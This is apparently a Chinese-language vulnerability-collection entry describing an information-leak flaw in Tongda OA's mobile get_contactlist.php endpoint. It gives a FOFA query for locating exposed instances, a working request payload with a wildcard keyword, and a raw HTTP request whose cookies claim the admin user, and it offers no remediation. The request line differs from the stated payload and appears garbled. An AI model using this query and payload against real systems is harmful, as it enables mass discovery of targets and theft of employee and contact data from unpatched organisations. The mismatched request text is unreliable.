

T10-25通达-OA-InformationLeakage

漏洞描述:

通达OA get_contactlist.php文件存在信息泄漏漏洞, 攻击者通过漏洞可以获取敏感信息, 进一步攻击。

网站图片:



网络测绘:

fofa语法:

app.name="通达 OA"

漏洞复现:


payload:

```
/mobile/inc/get_contactlist.php?P=1&KWORD=%25&isuser_info=3
```

效果图:

数据包扫描 热加载 构造请求

```
1 GET /mobile/inc/get_contactlist.php?P=1&KWORD=%25&iuser_info=3-  
  HTTP/1.1  
2 Host : ██████████  
3 Upgrade-Insecure-Requests: 1  
4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/2010101 Firefox/117.0  
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
7 Accept-Encoding: gzip, deflate  
8 Cookie: PHPSESSID=1; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=fad66c8b  
9  
10
```

美化 渲染  [illegible]